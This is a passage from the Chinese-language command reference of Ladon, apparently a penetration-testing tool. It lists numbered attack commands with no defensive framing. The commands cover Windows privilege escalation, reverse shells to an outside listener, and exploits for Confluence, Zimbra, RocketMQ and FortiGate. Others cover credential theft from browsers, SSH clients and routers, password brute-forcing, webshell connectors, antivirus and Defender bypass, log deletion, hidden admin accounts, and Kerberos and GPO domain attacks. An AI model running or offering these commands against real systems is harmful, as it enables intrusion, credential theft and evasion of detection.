c:\\1.exe\nLadon BypassUac2 c:\\1.bat\n```\n\n##### 111 PrintNightmare (CVE-2021-1675 | CVE-2021-34527)打印机漏洞提权EXP \n```Bash\nLadon PrintNightmare c:\\evil.dll\nLadon CVE-2021-1675 c:\\evil.dll\n```\n\n##### 112 CVE-2022-21999 SpoolFool打印机漏洞提权EXP \n```Bash\nLadon SpoolFool poc.dll\nLadon CVE-2022-21999 poc.dll\n```\n\n##### 113 GetSystem 提权System权限执行CMD\t\n```Bash\nLadon GetSystem cmd.exe\n```\n\n##### 114 复制令牌执行CMD(如system权限降权exploer当前用户)\n```Bash\nLadon GetSystem cmd.exe explorer\n```\n\n##### 115 Runas 模拟用户执行命令 \t\n```Bash\nLadon Runas user pass cmd\n```\n\n##### 116 MS16135提权至SYSTEM\n```Bash\nLadon ms16135 whoami   \u003e=9.2.1版本移除 911保留\n```\n\n##### 117 BadPotato服务用户提权至SYSTEM\t\n```Bash\nLadon BadPotato cmdline\n```\n\n##### 118 SweetPotato服务用户提权至SYSTEM\n```Bash\nLadon SweetPotato cmdline\n```\n\n##### 119 EfsPotato Win7-2019提权(服务用户权限提到system)\n```Bash\nLadon EfsPotato whoami\n```\n\n##### 120 Open3389一键开启3389\n```Bash\nLadon Open3389\n```\n\n##### 121 激活内置管理员Administrator\t\n```Bash\nLadon ActiveAdmin\n```\n\n##### 122 激活内置用户Guest\n```Bash\nLadon ActiveGuest\n```\n\n### 反弹Shell\n\n##### 123 反弹TCP NC Shell\n```Bash\nLadon ReverseTcp 192.168.1.8 4444 nc\n```\n\n##### 124 反弹TCP MSF Shell\n```Bash\nLadon ReverseTcp 192.168.1.8 4444 shell\n```\n\n##### 125 反弹TCP MSF MET Shell\n```Bash\nLadon ReverseTcp 192.168.1.8 4444 meter\n```\n\n##### 126 反弹HTTP MSF MET Shell\n```Bash\nLadon ReverseHttp 192.168.1.8 4444\n```\n\n##### 127 反弹HTTPS MSF MET Shell\n```Bash\nLadon ReverseHttps 192.168.1.8 4444\n```\n\n##### 128 反弹TCP CMD \u0026 PowerShell Shell\n```Bash\nLadon PowerCat 192.168.1.8 4444 cmd\nLadon PowerCat 192.168.1.8 4444 psh\n```\n\n##### 129 反弹UDP Cmd \u0026 PowerShell Shell\n```Bash\nLadon PowerCat 192.168.1.8 4444 cmd udp\nLadon PowerCat 192.168.1.8 4444 psh udp\n```\n\n##### 130  netsh本机888端口转发至112的22端口\n```Bash\nLadon netsh add 888 192.168.1.112 22\n```\n\n##### 131  PortTran端口转发(3389例子)\n```Bash\nVPS监听: Ladon PortTran 8000 338\n目标转发: Ladon PortTran 内网IP 3389 VPS_IP 8000\n本机连接: mstsc VPS_IP:338\n```\n\n### 本机执行\n##### 132 RDP桌面会话劫持（无需密码）\n```Bash\nLadon RdpHijack 3\nLadon RdpHijack 3 console\n```\n\n##### 133 添加注册表Run启动项\n```Bash\nLadon RegAuto Test c:\\123.exe\n```\n\n##### 134 AT计划执行程序(无需时间)(system权限)\n```Bash\nLadon at c:\\123.exe\nLadon at c:\\123.exe gui\n```\n\n##### 135 SC服务加启动项\u0026执行程序(system权限）\n```Bash\nLadon sc c:\\123.exe\nLadon sc c:\\123.exe gui\nLadon sc c:\\123.exe auto ServerName\n```\n\n### 系统信息探测\n\n##### 136  Snmp协议探测操作系统、设备等信息\n```Bash\nLadon 192.168.1.8/24 SnmpInfo\n```\n\n##### 137  Nbt协议探测Windows主机名、域、用户\n```Bash\nLadon 192.168.1.8/24 NbtInfo\n```\n\n##### 138  Smb协议探测Windows版本、主机名、域\n```Bash\nLadon 192.168.1.8/24 SmbInfo\n```\n\n##### 139  Wmi协议探测Windows版本、主机名、域\n```Bash\nLadon 192.168.1.8/24 WmiInfo\n```\n\n##### 140  Mssql协议探测Windows版本、主机名、域\n```Bash\nLadon 192.168.1.8/24 MssqlInfo\n```\n\n##### 141  Winrm协议探测Windows版本、主机名、域\n```Bash\nLadon 192.168.1.8/24 WinrmInfo\n```\n\n##### 142  Exchange探测Windows版本、主机名、域\n```Bash\nLadon 192.168.1.8/24 ExchangeInfo\n```\n\n##### 143  Rdp协议探测Windows版本、主机名、域\n```Bash\nLadon 192.168.1.8/24 RdpInfo\n```\n\n### 其它功能\n\n##### 144 Win2008一键启用.net 3.5\t\n```Bash\nLadon EnableDotNet\n```\n\n##### 145 获取内网站点HTML源码 \t\n```Bash\nLadon gethtml http://192.168.1.1\n```\n\n##### 146 一键迷你WEB服务器 渗透监听专用WEB服务器\n```Bash\nLadon web 80\nLadon web 80 dir\n```\n\n获取外网IP(VPS上启动WEB,目标访问ip.txt或ip.jpg)\nhttp://192.168.1.8/ip.txt\n\n##### 147 getstr/getb64/debase64/savetxt(无回显漏洞回显结果)\n##### 监听 \n```Bash\nLadon web 800\n```\n\n##### 提交 返回明文\n```Bash\ncertutil.exe -urlcache -split -f http://192.168.1.8:800/getstr/test123456\n```\n##### Base64加密结果\n```Bash\ncertutil.exe -urlcache -split -f http://192.168.1.110:800/getbase64/k8gege520\n```\n##### Base64结果解密\n```Bash\ncertutil.exe -urlcache -split -fhttp://192.168.1.110:800/debase64/azhnZWdlNTIw\n```\n\n##### 148 Shiro插件探测\n```Bash\nLadon 192.168.1.8/24 IsShiro\n```\n\n##### 149 LogDelTomcat 删除Tomcat指定IP日志\n```Bash\nLadon LogDelTomcat access.log 192.168.1.8\n```\n\n##### 150 C#自定义程序集插件扫描\n```Bash\nLadon 192.168.1.8/24 Poc.exe\nLadon 192.168.1.8/24 *.dll(c#)\n```\n\n##### 151 ReadFile 读取大文件前面指定长度内容\n```Bash\nLadon ReadFile c:\\k8.exe 默认1k\nLadon ReadFile c:\\k8.exe 1K\nLadon ReadFile c:\\k8.exe 1024K\nLadon ReadFile c:\\k8.exe 1M\n```\n\n##### 152 修改注册表读取2012及后系统明文密码\n```Bash\nLadon SetMzLogonPwd 1\n```\n\n##### 153 修改注册表劫持签名签证\n```Bash\nLadon SetSignAuth 1 \n```\n\n##### 154 IP24 批量IP转成ip24格式(192.168.1.1/24)\n```Bash\nLadon ip.txt IP24\n```\n\n##### 155 IPC  批量IP转成ip C格式(192.168.1.)\n```Bash\nLadon ip.txt IPC\n```\n\n##### 156 IPB  批量IP转成ip B格式(192.168.)\n```Bash\nLadon ip.txt IPB\n```\n\n##### 157 漏洞检测Atlassian Confluence CVE-2022-26134\n```Bash\nLadon url.txt CVE-2022-26134\n```\n\n##### 158 Atlassian Confluence CVE-2022-26134 EXP\n```Bash\nLadon EXP-2022-26134 https://111.123.123.123 id\n```\n\n##### 159 RevShell-2022-26134  CVE-2022-26134反弹Shell\n```Bash\nLadon RevShell-2022-26134 TargetURL VpsIP VpsPort\nLadon RevShell-2022-26134 http://xxx.com:8090 123.123.123.123 4444\n```\n\n##### 160 SslInfo 证书探测设备、IP、域名、机器名、组织机构等信息\n```Bash\nLadon https://k8gege.org SslInfo\nLadon k8gege.org SslInfo\nLadon k8gege.org:443 SslInfo 指定端口\nLadon noping fbi.gov SslInfo 禁ping探测\nLadon 192.168.1.1 SslInfo\nLadon 192.168.1.1:8443 SslInfo\n```\n\n##### 161 SslInfo 证书批量探测设备、IP、域名、机器名、组织机构等信息\n```Bash\nLadon ip.txt SslInfo\nLadon url.txt SslInfo\nLadon 192.168.1.1/c SslInfo\nLadon 192.168.1.1/b SslInfo\n```\n\n##### 162 WPinfo 多种方法获取WordPress主程序、主题、插件版本\n```Bash\nLadon https://k8gege.org WPinfo\nLadon k8gege.org WPinfo\nLadon noping fbi.gov WPinfo 禁ping探测\nLadon 192.168.1.1 WPinfo\nLadon 192.168.1.1:8443 WPinfo\n```\n\n##### 163 WPinfo 批量获取WordPress主程序、主题、插件版本\n```Bash\nLadon ip.txt WPinfo\nLadon url.txt WPinfo\nLadon 192.168.1.1/c WPinfo\nLadon 192.168.1.1/b WPinfo\n```\n\n##### 164  Exchange暴力破解 识别Exchange密码爆破\n```Bash\nLadon k8gege.org ExchangeScan\nLadon 192.168.1.8 ExchangeScan\nLadon 192.168.1.8、24 ExchangeScan\n```\n\n##### 165 CVE-2022-27925 批量探测Zimbra邮服ZIP目录穿越RCE漏洞\n```Bash\nLadon 192.168.1.8 CVE-2022-27925\nLadon http://zimbra.k8gege.org CVE-2022-27925\nLadon ip.txt CVE-2022-27925\nLadon url.txt CVE-2022-27925\nLadon 192.168.1.1/c CVE-2022-27925\nLadon 192.168.1.1/b CVE-2022-27925\n```\n\n##### 166 EXP-2022-27925 Zimbra邮服未授权RCE漏洞EXP GetShell\n```Bash\nLadon EXP-2022-27925 https://zimbra.k8gege.org poc.zip\n```\n\n##### 167 WebShellCmd 连接jsp WebShell(支持cd、k8、ua、uab64)\n```Bash\nLadon WebShell jsp ua https://zimbra.k8gege.org pass whoami\n```\n\n##### JSP UAshell 查看系统版本、python、gcc等信息方便提权\n```Bash\nLadon WebShell jsp ua https://zimbra.k8gege.org pass OSinfo\n```\n\n##### 168 WebShellCmd 连接jsp WebShell(支持cd、k8、ua、uab64)\n```Bash\nLadon WebShell jsp uab64 https://zimbra.k8gege.org pass whoami\n```\n\n##### 169 非交互式连接IIS-Raid后门执行命令\n```Bash\nLadon IISdoor http://192.168.1.142 whoami\nLadon IISdoor http://192.168.1.142 SIMPLEPASS whoami\n```\n\n##### 170 FindIP匹配IP段是否出现在漏洞结果中\n```Bash\nLadon FindIP ipc.txt ISVUL.txt\t\t (精确搜索)\nLadon FindIP ipc.txt ISVUL.txt like  (模糊搜索)\n```\n\n##### 171 CiscoPwd CVE-2019-1653 Cisco RV320 RV325 路由器密码读取\n```Bash\nLadon https://192.168.1.8 CiscoPwd\nLadon url.txt CiscoPwd 批量探测Cisco漏洞并导出用户密码\n```\n\n##### 172 PrinterPoc  打印机PJL任意代码执行漏洞批量检测\n```Bash\nLadon 192.168.1.8 PrinterPoc\nLadon ip.txt PrinterPoc\n禁ping机器扫描使用noping\nLadon noping 192.168.1.8 PrinterPoc\nLadon noping ip.txt PrinterPoc\n```\n\n##### 173 通过Mac查询制造商(Ladon Mac MAC地址)\n```Bash\nLadon Mac ff-ff-ff-ff-ff-ff\nLadon Mac 01:00:5e:00:00:16\nLadon Mac ff5e00885d66\n```\n\n##### 174 Cisco VPN路由器密码爆破(内置默认密码，支持明文、Hash)\n```Bash\nLadon 192.168.1.8/24 CiscoScan\nLadon https://192.168.1.8 CiscoScan\nLadon ip.txt CiscoScan\nLadon url.txt CiscoScan​\n```\n\n##### 175 vsFTPdPoc\tCVE-2011-2523 vsftpd 2.3.4 笑脸后门漏洞检测  10.9移除\n```Bash\nLadon noping ip CVE-2011-2523\nLadon noping ip.txt vsFTPdPoc  \n```\n\n##### 176 WpScan WordPress密码审计、弱口令\n```Bash\nLadon http://192.168.1.8 WpScan\nLadon url.txt WpScan\nLadon 192.168.1.8/24 WpScan http  扫描IP时添加http://\n```\n\n##### 177  探测Exchange版本\n```Bash\nLadon https://192.168.1.8 ExchangeVer\nLadon 192.168.1.8/24 ExchangeVer\nLadon url.txt ExchangeVer\n```\n\n##### 178  Exchange高危RCE漏洞检测\n```Bash\nLadon https://192.168.1.8 ExchangePoc\n```\n\n##### 179 Http/S获取网页返回头信息\n```Bash\nLadon https://192.168.1.8 GetHead\nLadon ip.txt GetHead\nLadon 192.168.1.8/24 GetHead http  扫描IP时添加http://\nLadon ip.txt GetHead https\t\t   扫描IP时添加https://\n```\n\n##### 180 Http/S获取网页返回头信息+源码\n```Bash\nLadon https://192.168.1.8 GetHtml\nLadon ip.txt GetHtml\nLadon 192.168.1.8/24 GetHtml http\nLadon ip.txt GetHtml https\t\t   扫描IP时添加https://\n```\n\n##### 181 Http/S获取网页中的域名\n```Bash\nLadon https://192.168.1.8 GetDomain\nLadon ip.txt GetDomain\nLadon 192.168.1.8/24 GetDomain http\nLadon ip.txt GetDomain https\t扫描IP时添加https://\n```\n\n##### 182 TrueIP绕过CDN获取域名真实IP(可用域名、标题、Banner等唯一关键字特征)\n```Bash\nLadon ip.txt TrueIP k8gege.org\nLadon 192.168.1.8/24 TrueIP k8gege.org\nLadon ip.txt TrueIP \"K8哥哥\"\nLadon 192.168.1.8/24 TrueIP \"K8哥哥\"\n```\n\n![image](http://k8gege.org/k8img/Ladon/Study/pwd.PNG)\n\n##### 183 Firefox密码\\Cookie\\历史记录读取\n```Bash\nLadon FirefoxPwd\nLadon FirefoxHistory\nLadon FirefoxCookie\n```\n\n##### 184  BypassUAC11无回显支持Win7、Win8、Win11 Win2012\\2016\\2019等 10.8版本移除\n```Bash\nLadon40 BypassUAC11 cmd\nLadon40 BypassUAC11 c:\\1.bat\nLadon40 BypassUAC11 c:\\1.exe\n```\n\n##### 185 GetPwd支持Navicat、TeamView、Xshell、SecureCRT密码读取\n```Bash\nLadon GetPwd\n```\n\n##### 186 DraytekScan 密码审计Draytek弱口令检测\n```Bash\nLadon 192.168.1.8 DraytekScan\nLadon https://192.168.1.8 DraytekScan\nLadon 192.168.1.8/24 DraytekScan\nLadon url.txt DraytekScan\n```\n\n##### 187 XshellPwd Xshell密码读取\n```Bash\nLadon XshellPwd\n```\n\n##### 188 FortiGate CVE-2022-40684 未授权写SSH-KEY admin admin123\n```Bash\nLadon 192.168.1.8 CVE-2022-40684\nLadon https://192.168.1.8 CVE-2022-40684\nLadon 192.168.1.8/24 CVE-2022-40684\nLadon url.txt CVE-2022-40684\n```\n\n##### 189 MssqlCmd  SQL Server远程执行命令 SQL版本、OS信息 xp_cmdshell\n```Bash\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master info  \nLadon MssqlCmd 192.168.1.8 sa k8gege520 master open_cmdshell\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master xp_cmdshell whoami\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master r_shell whoami\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master ws_shell whoami\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master py_cmdshell whoami\n```\n\n##### 190 MssqlCmd SQL Server远程执行命令 efspotato、badpotato提权\n```Bash\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master install_clr\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master uninstall_clr\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master clr_exec whoami\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master clr_efspotato whoami\nLadon MssqlCmd 192.168.1.8 sa k8gege520 master clr_badpotato whoami\n```\n\n##### 191 CVE-2018-14847 Mikrotik RouterOS 6.29-6.42版本密码读取\n```Bash\nLadon 192.168.1.8 CVE-2018-14847\nLadon ip.txt CVE-2018-14847\n```\n\n##### 192 ZteScan 中兴路由器光猫Web默认口令检测\n```Bash\nLadon 192.168.1.8 ZteScan\nLadon ip.txt ZteScan\nLadon http://192.168.1.8 ZteScan\nLadon url.txt ZteScan\n```\n\n##### 193 MSNSwitchPwd CVE-2022-32429 MSNSwitch路由器密码读取\n```Bash\nLadon https://192.168.1.8 MSNSwitchPwd\nLadon url.txt MSNSwitchPwd\n```\n\n##### 194 NetGearPwd NetGear DGND3700v2路由器密码读取\n```Bash\nLadon https://192.168.1.8 NetGearPwd\nLadon url.txt NetGearPwd\n```\n\n##### 195 T3协议探测WebLogic版本\n```Bash\nLadon 192.168.1.8/24 T3Info\nLadon 192.168.1.8:7001 T3Info\nLadon http://192.168.1.8:7001 T3Info\n```\n\n### 一键渗透 InfoScan AllScan PocScan ExpScan VerScan\n\n![image](http://k8gege.org/k8img/Ladon/Study/OneScan.PNG)\n\n##### 196 InfoScan多个模块探测系统信息\n```Bash\nLadon 192.168.1.8/24 InfoScan\nLadon 192.168.1.8 InfoScan\nLadon ip.txt InfoScan\n```\n\n##### 197 VulScan PocScan多个远程漏洞检测\n```Bash\nLadon 192.168.1.8/24 VulScan\nLadon 192.168.1.8 PocScan\nLadon http://192.168.1.8 PocScan\n```\n\n##### 198 ExpScan多个漏洞利用GetShell\n```Bash\nLadon 192.168.1.8/24 ExpScan\nLadon 192.168.1.8 ExpScan\nLadon http://192.168.1.8 ExpScan\n```\n\n##### 199 JoomlaPwd CVE-2023-23752 未授权网站数据库密码读取\n```Bash\nLadon 192.168.1.8/24 JoomlaPwd\nLadon 192.168.1.8 JoomlaPwd\nLadon http://192.168.1.8 JoomlaPwd\nLadon url.txt JoomlaPwd\n```\n\n##### 200 AllScan 所有模块\n```Bash\nLadon 192.168.1.8/24 AllScan\nLadon 192.168.1.8 AllScan\nLadon http://192.168.1.8 AllScan\n```\n\n##### 201 探测Citrix Gateway版本\n```Bash\nLadon https://192.168.1.8 CitrixVer\nLadon 192.168.1.8/24 CitrixVer\nLadon url.txt CitrixVer\n```\n\n##### 202 探测Vmware Vcenter版本\n```Bash\nLadon https://192.168.1.8 VmwareVer\nLadon 192.168.1.8/24 VmwareVer\nLadon url.txt VcenterVer\n```\n\n##### 203 绕过Defender执行PowerShell\n```Bash\nLadon RunPS -f hello.ps1\nLadon RunPS -c \"echo test\"\nLadon RunPS bypass\nLadon RunPS default\n```\n\n##### 204 SNMP重启HP打印机\n```Bash\nLadon HPreboot 192.168.1.8\nLadon HPreboot 192.168.1.8 public\n```\n\n##### 205 清理操作日志 禁用.NET日志记录\n```Bash\nLadon Clslog\n```\n\n##### 206 ARP协议探测存活主机\n```Bash\nLadon 192.168.1.8 ArpInfo\nLadon 192.168.1.8/24 ArpInfo\n```\n\n##### 207 迷你FTP服务器，(支持windows/Linux自带ftp命令实现文件上传下载) \n```Bash\nLadon FtpServer 21\nLadon Ftp 2121\nLadon Ftp 2121 admin admin\n```\n\n##### 208 监听TCP发包数据 保存TXT和HEX 如SMB RDP HTTP SSH LDAP FTP等协议 \n```Bash\nLadon Tcp 8080\nLadon TcpServer 80\n```\n\n##### 209 监听UDP发包数据 保存TXT和HEX 如DNS、SNMP等协议\n```Bash\nLadon UdpServer 8080\nLadon Udp 161\n```\n\n##### 210 PortForward 端口转发 端口中转\n```Bash\nLadon PortForward \u003clocalPort\u003e \u003ctargetHost\u003e \u003ctargetPort\u003e\nExample:\nLadon PortForward 338 192.168.1.8 3389\nTest: mstsc 127.0.0.1 338\n```\n\n\n##### 211 CVE-2022-36537\tServer Backup Manager 未授权RCE漏洞检测 (Zookeeper)\n```Bash\nLadon https://192.168.1.8 CVE-2022-36537\nLadon 192.168.1.8/24 CVE-2022-36537\nLadon url.txt CVE-2022-36537\n```\n\n##### 212 EXP-2022-36537\tZookeeper 未授权文件读取EXP (默认/WEB-INF/web.xml)\n```Bash\nLadon EXP-2022-36537 url\nLadon EXP-2022-36537 url /WEB-INF/web.xml\n```\n\n##### 213 彻底关闭SMB、禁用445 阻止0day、横向移动、中继攻击等\n```Bash\nLadon CloseSMB\n```\n\n##### 214 禁用指定服务 \n```Bash\nLadon DisService Spooler\nLadon DisableService Spooler\n```\n\n##### 215 停止指定服务 \n```Bash\nLadon StopService Spooler\n```\n\n##### 216 放行端口 开放端口 \n```Bash\nLadon OpenTCP  445\nLadon OpenUDP  161\n```\n\n##### 217 阻止端口 拦截端口\n```Bash\nLadon CloseTCP  445\nLadon CloseUDP  161\n```\n\n##### 218 RunToken复制令牌执行程序\n```Bash\nLadon RunToken explorer cmd.exe\nLadon RunToken explorer c:\\1.bat\n```\n\n##### 219 RunSystem提权 管理员权限提升至SYSTEM权限\n```Bash\nLadon RunSystem cmd.exe\nLadon RunUser cmd.exe\nLadon RunSystem c:\\1.exe\n```\n\n##### 220 RunUser降权 System权限降至用户执行程序\n```Bash\nLadon RunUser cmd.exe\nLadon RunUser c:\\1.exe\n```\n\n##### 221 GodPotato提权Win8-Win11 Win2012-Win2022\n```Bash\nLadon GodPotato whoami\n```\n\n##### 222 hikvision 海康威视 密码审计\n```Bash\nLadon 192.168.1.8/24 HikvisionScan\nLadon http://192.168.1.8:8080 HikvisionScan\nLadon url.txt HikvisionScan\n```\n\n##### 223 hikvision 海康威视 CVE-2017-7921漏洞检测\n```Bash\nLadon 192.168.1.8/24 HikvisionPoc\nLadon http://192.168.1.8:8080 HikvisionPoc\nLadon url.txt HikvisionPoc\n```\n\n##### 224 hikvision 海康威视 配置文件解密\n```Bash\nLadon HikvisionDecode configurationFile\n```\n\n##### 225 Ladon测试专用CmdShell\n```Bash\nLadon web 800 cmd\n```\n\n##### 226 连接测试专用CmdShell\n```Bash\nLadon cmdshell http://192.168.50.2:888 cmd whoami\n浏览器访问 http://192.168.1.8:800/shell?cmd=whoami\n```\n\n##### 227 查看域管理员\n```Bash\nLadon QueryAdminDomain\n```\n\n##### 228 查看域信息\n```Bash\nLadon QueryDomain\n```\n\n##### 229 Mndp协议广播探测同网段Mikrotik路由器信息\n```Bash\nLadon MndpInfo\nLadon RouterOS\nLadon Mikrotik\n```\n\n##### 230 PostShell连接工具,支持自定义HTTP头提交\n```Bash\nLadon PostShell \u003cmethod\u003e \u003curl\u003e \u003cpwd\u003e \u003ctype\u003e \u003ccmd\u003e\nLadon PostShell POST http://192.168.50.18/post.jsp tom cmd whoami\nLadon PostShell POST http://192.168.50.18/post.jsp tom b64cmd d2hvYW1p\nLadon PostShell POST http://192.168.50.18/post.jsp tom base64 d2hvYW1p\nLadon PostShell UA http://192.168.50.18/ua.jsp tom cmd whoami\nLadon PostShell UA http://192.168.50.18/ua.jsp tom b64cmd d2hvYW1p\nLadon PostShell UA http://192.168.50.18/ua.jsp tom base64 d2hvYW1p\nLadon PostShell Cookie http://192.168.50.18/ck.jsp tom cmd whoami\nLadon PostShell Cookie http://192.168.50.18/ck.jsp tom b64cmd d2hvYW1p\nLadon PostShell Cookie http://192.168.50.18/ck.jsp tom base64 d2hvYW1p\nLadon PostShell Referer http://192.168.50.18/re.jsp tom cmd whoami\nLadon PostShell Referer http://192.168.50.18/re.jsp tom b64cmd d2hvYW1p\nLadon PostShell Referer http://192.168.50.18/re.jsp tom base64 d2hvYW1p\nLadon PostShell Destination http://192.168.50.18/re.jsp tom cmd whoami\nLadon PostShell Destination http://192.168.50.18/re.jsp tom b64cmd d2hvYW1p\nLadon PostShell Destination http://192.168.50.18/re.jsp tom base64 d2hvYW1p\nLadon PostShell HttpBasic http://192.168.50.18/re.jsp tom cmd whoami\nLadon PostShell HttpBasic http://192.168.50.18/re.jsp tom b64cmd d2hvYW1p\nLadon PostShell HttpBasic http://192.168.50.18/re.jsp tom base64 d2hvYW1p\n```\n\n##### 231 RunCmd/Cmd  执行Cmd命令/支持b64cmd\n```Bash\t\nLadon cmd whoami\nLadon b64cmd d2hvYW1p \n```\n\n##### 232 查看管理员IP、一键读取登陆成功日志4624\n```Bash\t\nLadon LoginLog\nLadon EventLog \n```\n\n##### 233 Apache RocketMQ CVE-2023-33246 远程命令执行漏洞EXP\n```Bash\t\nLadon RocketMQexp \u003cip\u003e 10911 \u003ccommand\u003e\nLadon RocketMQexp 192.168.1.8 10911 \"wget http://192.168.1.8/isvul\"\n```\n\n##### 234 Ladon一键免杀工具\n```Bash\t\nLadon BypassAV py xor anyNet.exe\n```\n\n##### 235 Win11/2022系统提权至system权限\n```Bash\t\nLadon McpPotato whoami\n```\n\n##### 236 EXE转HEX，CMD命令写入文件\n```Bash\t\nLadon Exe2Hex 1.exe\n```\n\n##### 237 EXE转Base64，CMD命令写入文件\n```Bash\t\nLadon Exe2B64 1.exe\n```\n\n##### 238 ZimbraVer\tZimbra邮件系统版本探测\n```Bash\t\nLadon 192.168.1.8/24 ZimbraVer\nLadon http://192.168.1.8:8080 ZimbraVer\nLadon url.txt ZimbraVer\n```\n\n##### 239 SharpGPO域渗透 组策略横向移动工具\n```Bash\t\nLadon SharpGPO\n\nLadon SharpGPO --Action GetOU\nLadon SharpGPO --Action GetOU --OUName \"IT Support\"\n\nLadon SharpGPO --Action NewOU --OUName \"IT Support\"\nLadon SharpGPO --Action NewOU --OUName \"App Dev\" --BaseDN \"OU=IT Support,DC=testad,DC=com\"\n\nLadon SharpGPO --Action MoveObject --SrcDN \"CN=user01,CN=Users,DC=testad,DC=com\" --DstDN \"OU=IT Support,DC=testad,DC=com\"\nLadon SharpGPO --Action MoveObject --SrcDN \"CN=user01,OU=IT Support,DC=testad,DC=com\" --DstDN \"CN=Users,DC=testad,DC=com\"\n\nLadon SharpGPO --Action RemoveOU --OUName \"IT Support\"\nLadon SharpGPO --Action RemoveOU --DN \"OU=IT Support,DC=testad,DC=com\"\n\n\nLadon SharpGPO --Action GetGPO\nLadon SharpGPO --Action GetGPO --GPOName testgpo\n\nLadon SharpGPO --Action NewGPO --GPOName testgpo\n\nLadon SharpGPO --Action RemoveGPO --GPOName testgpo\nLadon SharpGPO --Action RemoveGPO --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8\n\nLadon SharpGPO --Action GetGPLink\nLadon SharpGPO --Action GetGPLink --DN \"OU=IT Support,DC=testad,DC=com\"\nLadon SharpGPO --Action GetGPLink --GPOName testgpo\nLadon SharpGPO --Action GetGPLink --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8\n\nLadon SharpGPO --Action NewGPLink --DN \"OU=IT Support,DC=testad,DC=com\" --GPOName testgpo\nLadon SharpGPO --Action NewGPLink --DN \"OU=IT Support,DC=testad,DC=com\" --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8\n\nLadon SharpGPO --Action RemoveGPLink --DN \"OU=IT Support,DC=testad,DC=com\" --GPOName testgpo\nLadon SharpGPO --Action RemoveGPLink --DN \"OU=IT Support,DC=testad,DC=com\" --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8\n\nLadon SharpGPO --Action GetSecurityFiltering --GPOName testgpo\nLadon SharpGPO --Action GetSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8\n\nLadon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainUser Alice\nLadon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainGroup \"Domain Users\"\nLadon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainComputer WIN-SERVER\nLadon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --NTAccount \"Authenticated Users\"\nLadon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainUser Alice\nLadon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainGroup \"Domain Users\"\nLadon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainComputer WIN-SERVER\nLadon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --NTAccount \"Authenticated Users\"\n\nLadon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainUser Alice\nLadon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainGroup \"Domain Users\"\nLadon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainComputer WIN-SERVER\nLadon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --NTAccount \"Authenticated Users\"\nLadon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainUser Alice\nLadon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainGroup \"Domain Users\"\nLadon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainComputer WIN-SERVER\nLadon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --NTAccount \"Authenticated Users\"\n```\n\n##### 240 IIS网站信息一键获取\n```Bash\t\nLadon IisInfo\n```\n\n##### 241 渗透专用WEB服务器LDAP反序列化\n```Bash\t\nLadon web 800 ldap=192.168.1.8:800\n```\n\n##### 242 渗透专用WEB服务器RMI反序列化\n```Bash\t\nLadon web 800 rmi=192.168.1.8\n```\n\n##### 243 API添加管理员(无视系统net、net1禁用)\n```Bash\t\nLadon AddAdmin admin$ 123456\n```\n\n##### 244 API添加用户(无视系统net、net1.exe禁用)\n```Bash\t\nLadon AddUser admin$ 123456\n```\n\n##### 245 API删除用户(无视系统net、net1.exe禁用)\n```Bash\t\nLadon DelUser admin$\n```\n\n##### 246 Rubeus域渗透 Kerberos攻击\n比如TGT请求/ST请求/AS-REP Roasting/Kerberoasting/委派攻击/黄金票据/白银票据/钻石票据/蓝宝石票据等\n```Bash\t\nLadon Rubeus\n```\n\n##### 247 noPac域渗透 域内提权CVE-2021-42287/CVE-2021-42278\n```Bash\t\nCVE-2021-42287/CVE-2021-42278 Scanner \u0026 Exploiter\n\n/domain /user /pass argument needed for scanning\n/dc /mAccount /nPassword argument needed for exploitation\n\nExamples:\n  Ladon.exe noPac scan -domain htb.local -user domain_user -pass 'Password123!'\n  Ladon.exe noPac -dc dc02.htb.local -mAccount demo -mPassword Password123!\n  Ladon.exe noPac -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!\n  Ladon.exe noPac -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt\n```\n\n##### 248 SharpGPOAbuse\n```Bash\t\nLadon SharpGPOAbuse\n```\n\n##### 249 SharpSphere 与vCenter管理的虚拟机的来宾操作系统进行交互 执行命令\n```Bash\t\nLadon SharpSphere\n\n  No verb selected.\n\n  dump        Snapshot and download memory dump file\n\n  list        List all VMs managed by this vCenter\n\n  execute     Execute given command in target VM\n\n  c2          Run C2 using C3's VMwareShareFile module\n\n  upload      Upload file to target VM\n\n  download    Download file from target VM\n\n  help        Display more information on a specific command.\n\n  version     Display version information.\n```\n\n##### 250 Dcom远程执行命令之MMC20\n```Bash\t\nLadon MmcExec host 